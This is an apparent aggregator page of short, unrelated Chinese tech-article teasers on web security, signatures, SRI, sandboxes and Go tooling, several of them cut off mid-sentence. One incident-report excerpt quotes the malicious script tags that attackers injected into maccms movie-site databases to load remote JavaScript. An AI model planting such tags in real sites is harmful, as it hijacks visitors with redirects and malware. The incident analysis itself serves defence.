最近做IM系统,移动端一个同学问我怎么防止App发出来的数据被篡改(防止内容泄露更重要),我想到了“签名校验 ”的方法。
发送者将原文件src.txt、公钥文件key.pub和签名文件src.sig传输给接收者,接收者模拟校验操作。
关注「前端向后」微信公众号,你将收获一系列「用心原创」的高质量技术文章,主题包括但不限于前端、Node.js以及服务端技术
早上接到运营的消息,说客户反馈网站通过搜索引擎打开时,显示为赌博网站。跟以往的情况不同,这次怎么都找不到被篡改的 PHP 文件,最后发现是配置文件被篡改。
👆点击“博文视点Broadview”,获取更多书讯 AI语音技术是AI技术的一个分支,随着AI技术的发展,AI语音技术突飞猛进、换代升级。 通过基于AI的深度伪造变声技术,可以利用少量用户的语音生成他想要模仿的语音。这种技术在给用户带来新奇体验的同时,潜在安全风险。 深度伪造AI变声技术可能成为语音诈骗的利器。 研究发现,利用漏洞可以解密窃听VoIP电话,并利用少量目标人物的语音素材,基于深度伪造AI变声技术,生成目标人物语音进行注入,拨打虚假诈骗电话。 下图展示了语音诈骗的整体流程。总的来说,这种新型
一年前写过《前端安全配置xss预防针Content-Security-Policy(csp)配置详解》,我们用CSP保证执行正确的js代码,HTTPs限制文件传输不被篡改,但是,如果文件源被改变了呢?比如CDN被劫持后修改了呢(P劫持≈0,但!=0)
苹果CMS漏洞是越来越多了,国内很多电影网站都使用的是maccms V10 V8版本,就在2020年初该maccms漏洞爆发了,目前极少数的攻击者掌握了该EXP POC,受该BUG的影响,百分之80的电影站都被攻击了,很多电影站的站长找到我们SINE安全来解决网站被挂马的问题,通过分析我们发现大部分客户网站在数据库中都被插入了挂马代码,<script src=https://lefengtv.com/js/tjj.js></script><script src=https://pkvod.com/1.js</script>,尤其电影片名d_name值被直接篡改,并且是批量挂马,导致用户打开网站访问直接弹窗广告并跳转。
沙箱,即sandbox,顾名思义,就是让你的程序跑在一个隔离的环境下,不对外界的其他程序造成影响,通过创建类似沙盒的独立作业环境,在其内部运行的程序并不能对硬盘产生永久性的影响。 举个简单的栗子,其实我们的浏览器,Chrome 中的每一个标签页都是一个沙箱(sandbox)。渲染进程被沙箱(Sandbox)隔离,网页 web 代码内容必须通过 IPC 通道才能与浏览器内核进程通信,通信过程会进行安全的检查。沙箱设计的目的是为了让不可信的代码运行在一定的环境中,从而限制这些代码访问隔离区之外的资源。
我们通常会用CSP加强站点JS资源的执行限制,有效降低XSS攻击;我们通过HTTPS链接加密资源,减少站点资源劫持风险等等大量的前端安全方案。但你可能还没听说 Subresource Integrity (SRI) 子资源完整性校验。 本文将带你了解SRI是什么,能解决哪些安全风险,如何快速接入。同时,使用它又会带来哪些问题,以及浏览器的支持情况如何。 什么是SRI ? SRI 是 Subresource Integrity 的缩写,可翻译为:子资源完整性,它也是由 Web 应用安全工作组(Web Ap
JohnLui:程序员,Swift Contributor,正在写《iOS 可视化编程与 Auto Layout》 HTTP 在以前的文章中,我大力推荐过《图解 HTTP》这本书。这是一本好书,但是 HTTP 协议本身是一个静态协议:跟 HTML 一样是一堆标记的集合,十分简单。 我们首先明确一个简单的事实:TCP 首部后面的部分,依然是一堆二进制数据,但是此时,采用 HTTP 协议解析这堆数据之后,其内容终于可读了。 HTTP 是什么 HTTP 是 WWW(万维网)拥有的标准协议,用于在客户端和服务器之间
今天做文件上传功能,需求要求文件内容相同的不能重复上传。感觉这个需求挺简单的就交给了一位刚入行的新同学。等合并代码的时候发现这位同学居然用文件名称相同和文件大小相同作为两个文件相同的依据。这种条件判断靠谱吗?
沙箱或称沙盒,即sandbox,顾名思义,就是让程序跑在一个隔离的环境下,不对外界的其他程序造成影响,外界无法修改该环境内任何信息,沙箱内的东西单独属于一个世界,通过创建类似沙盒的独立作业环境,在其内部运行的程序并不能对硬盘产生永久性的影响。举个简单的栗子,其实我们的浏览器,Chrome 中的每一个标签页都是一个沙箱(sandbox)。渲染进程被沙箱(Sandbox)隔离,网页 web 代码内容必须通过 IPC 通道才能与浏览器内核进程通信,通信过程会进行安全的检查。沙箱设计的目的是为了让不可信的代码运行在一定的环境中,从而限制这些代码访问隔离区之外的资源。
为什么要配置HTTP响应头? 不知道各位有没有被各类XSS攻击、点击劫持 (ClickJacking、 frame 恶意引用等等方式骚扰过,百度联盟被封就有这些攻击的功劳在里面。为此一直都在搜寻相关
智能合约是在区块链等去中心化的基础架构中执行的应用,其具有防篡改性,即包括合约创建者在内的任何一方都无法篡改代码或干预代码执行,一直以来,传统合约的代码都是在中心化的系统中运行的,因此有权限的一方有可能将合约篡改、终止或甚至删除。相比之下,智能合约可保障合约顺利执行,约束合约各方履行各自义务。这就建立了一种全新且稳健的信任关系,无须依赖合约各方彼此间的信任。由于智能合约是自动验证和执行的,因此可以很好地执行并管理数字合约。
▪ 1. SRIOV介绍 ▪ 2. 环境说明 ▪ 3. 开启SRIOV ▪ 4. 生成VF ▪ 5. VF直通 ▪ 6. 开启irqbalance ▪ 7. VM迁移 ▪ 8. 带宽限速 ▪ 9. 安全 ▪ 10. 其他使用限制 ▪ 11. 性能测试 ▪ 12. windows虚拟机使用VF ▪ 13. 运维命令 ▪ 14. 宿主屏蔽VF驱动 ▪ 附. 包转发率测试方法 ▪ 附. 参考文档
WordPress 站点的安全性非常重要,稍有不慎就有可能受到恶意攻击。一种常见的手段是通过篡改站点的地址,于是用户访问网站时将会被重新定向到恶意网站。
将你的包或者别人的包全部放在 $GOPATH/src 目录下进行管理的方式,我们称之为 GOPATH 模式。
在项目中,为了保证数据的安全,我们常常会对传递的数据进行加密。常用的加密算法包括对称加密(AES)和非对称加密(RSA),博主选取码云上最简单的API加密项目进行下面的讲解。
今日主题:流量劫持、大家经常会看到公司的一些首页被插入一些小广告,这也就是流量劫持,今儿分享一下当前劫持的几个方法以及防劫持知识。
包被导入时,会执行init函数,优先于main函数,不能有参数和返回值,建议少用,仅用于全局变量初始化,或者单元测试初始化一些东西
消息摘要算法是密码学算法中非常重要的一个分支,它通过对所有数据提取指纹信息以实现数据签名、数据完整性校验等功能,由于其不可逆性,有时候会被用做敏感信息的加密。消息摘要算法也被称为哈希(Hash)算法或散列算法。
什么是网页挂马 网页挂马是指恶意攻击者攻击WEB网站后,在网页中嵌入一段代码或脚本,用于自动下载带有特定目的木马程序,而恶意攻击者实施恶意代码或脚本植入的行为通常称为“挂马”。 什么是SEO暗链 SEO暗链是SEO黑帽手法中相当普遍的一种手段。笼统地说,它就是指一些人用非正常的手段获取其他网站的权限后,修改其网站的源代码,加入指向自己网站的反向链接代码。其目的是优化自己网站中的一些关键字在搜索引擎中的排名,或是提高自己网站的搜索引擎权重。 暗链实例: TR-201202-0002
需求:爬取站长素材的高清图片的爬取https://sc.chinaz.com/tupian/
虽然很多时候感觉网络攻击和安全事故离我们很远,但一旦发生,后面不堪设想,所以服务接口的安全问题是设计实现过程中不得不考虑的一环。
大清早的一上班收到3个网站客户的QQ联系,说是自己公司的网站被跳转到了北京sai车,cai票,du博网站上去了,我们SINE安全公司对3个网站进行了详细的安全检测,发现这3个客户的网站都是同样的症状,网站首页文件index.php,index.html都被篡改添加了恶意的代码。网站在百度的快照也被更改成了这些cai票,bo彩的内容了,并被百度网址安全中心提醒您:该站点可能受到黑客攻击,部分页面已被非法篡改!如下图所示:
相信看我文章的文章的童鞋,golang版本已经是1.3版本以上。如果你的版本还停留在1.3以下,那这篇文章可以做为你的提升之法。
跨站脚本攻击(XSS)和跨站请求伪造(CSRF)是威胁用户数据安全和网站稳定性的两大主要风险。在本文中,我将深入剖析这两种攻击方式的特点与危害,介绍针对性的防御策略,并通过代码示例演示如何在实际开发中有效实施这些防护措施。
币安智能链逐渐成为DeFi的一片热土,越来越多的项目从以太坊移植到币安BSC平台。 在这个教程中,我们将学习如何开发一个应用Bsc Spider来尝试发现币安BSC上交易活跃的BEP20代币, 从而帮助我们更好地洞察币安BSC上的DeFi活动。
攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作。对于CSRF而言,它的攻击有两个关键点,跨站点的请求与请求是伪造的。
在插件进程环境,可以引入vscode模块访问插件可用的API,好奇一点的话,能够发现node_modules下并没有vscode模块,而且vscode模块也名没被define()过,看起来我们require了一个不存在的模块,那么,这个东西是哪里来的?
2020年刚开始,苹果CMS被爆出数据库代码执行漏洞,大量的电影网站被挂马,尤其电影的页面被篡改植入了恶意代码,数据库中的VOD表里的d_name被全部修改,导致网站打开后直接跳转到S站或者弹窗广告,目前该maccms漏洞受影响的苹果系统版本是V8,V10,很多客户网站被反复篡改,很无奈,通过朋友介绍找到我们SINE安全寻求技术上支持,防止网站被挂马。根据客户的反应,服务器采用的是linux centos系统,苹果CMS版本是最新的V10版本,我们立即成立网站安全应急响应处理,帮助客户解决网站被攻击的问题。
公司上市不到两周,便遭受到了黑客攻击,其中笔者团队的验证码比较容易识别,攻击者通过ORC识别刷了10几万的短信,除了造成一笔资金开销外,也给服务器带来了很大的压力;
SRI 全称 Subresource Integrity - 子资源完整性,是指浏览器通过验证资源的完整性(通常从 CDN 获取)来判断其是否被篡改的安全特性。
概念 XSS全称为Cross Site Script,即跨站点脚本攻击,XSS攻击是最为普遍且中招率最多的web攻击方式,一般攻击者通过在网页恶意植入攻击脚本来篡改网页,在用户浏览网页时就能执行恶意的操作,像html、css、img都有可能被攻击。 像前不久微信貌似就中招,好像是在朋友圈发送一个带有脚本的链接,然后通过点击该链接就会弹出一个提示,虽然没有造成什么影响,但这是XSS攻击最鲜明的特点。 分类 XSS现在主要分为以下两种攻击类型: 1、反射型漏洞 这种类型攻击者一般通过在网页中嵌入含有恶意攻击
web攻击的一种,通过对网页注入可执行代码(html代码或JS代码)成功被浏览器执行
从v1.5开始开始引入vendor模式,如果项目目录下有vendor目录,那么go工具链会优先使用vendor内的包进行编译、测试等
http://xjjdog.cn 对200+原创文章进行了细致的分类,阅读更流畅,欢迎收藏。
最近在挖各大src,主要以逻辑漏洞为主,想着总结一下我所知道的一些逻辑漏洞分享一下以及举部分实际的案例展示一下,方便大家理解。
webpack是一个模块打包工具,可以使用它管理项目中的模块依赖,并编译输出模块所需的静态文件。它可以很好地管理、打包开发中所用到的HTML,CSS,JavaScript和静态文件(图片,字体)等,让开发更高效。对于不同类型的依赖,webpack有对应的模块加载器,而且会分析模块间的依赖关系,最后合并生成优化的静态资源。
在Go语言编程中,我们经常会接触到依赖管理。简单来讲,这是对项目所需外部包的管理,包括确定所需外部包及其正确版本,并确保在构建和测试项目时其存在。
Go 依赖管理经历了 3 个阶段,GOPATH、Go Vendor、Go Module。
ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据监听、篡改、重放、钓鱼等攻击方式。 在进行ARP欺骗的编码实验之前,我们有必要了解下ARP和ARP欺骗的原理。 3.1.1 ARP和ARP欺骗原理 ARP是地址转换协议(Address Resolution Protocol)的英文缩写,它是一个链路层协议,工作在OSI 模型的第二层,在本层和硬件接口间进行联系,同时对上层(网络层)提供服务。我们知道
近期,毒霸监测到一款DDOS木马的感染量呈现出上升趋势,而同时呈现出相同增长趋势的,还有部分流氓软件。经过溯源分析,我们发现上述2类软件均来自上海奇陆网络科技有限公司的一款叫做“钱蜜省钱助手”的软件。
在数字化办公的时代,文档的格式转换成为了日常工作的常态。借助WPS的强大功能,我们能轻松实现Word, PowerPoint和Excel文件到PDF的转换,进而满足不同场景的需求。本文将详细介绍如何利用Python语言和WPS的COM接口实现办公文档的自动化转换,同时也会探讨如何保证转换过程中字体的准确呈现。通过本文的指导,你将能够建立自己的文档转换工具,提升办公效率,减少重复劳动。
we安全对于web前端从事人员也是一个特别重要的一个知识点,也是面试的时候,面试官经常问的安全前端问题。掌握一些web安全知识,提供安全防范意识,今天就会从几个方面说起前端web攻击和防御的常用手段
领取专属 10元无门槛券
手把手带您无忧上云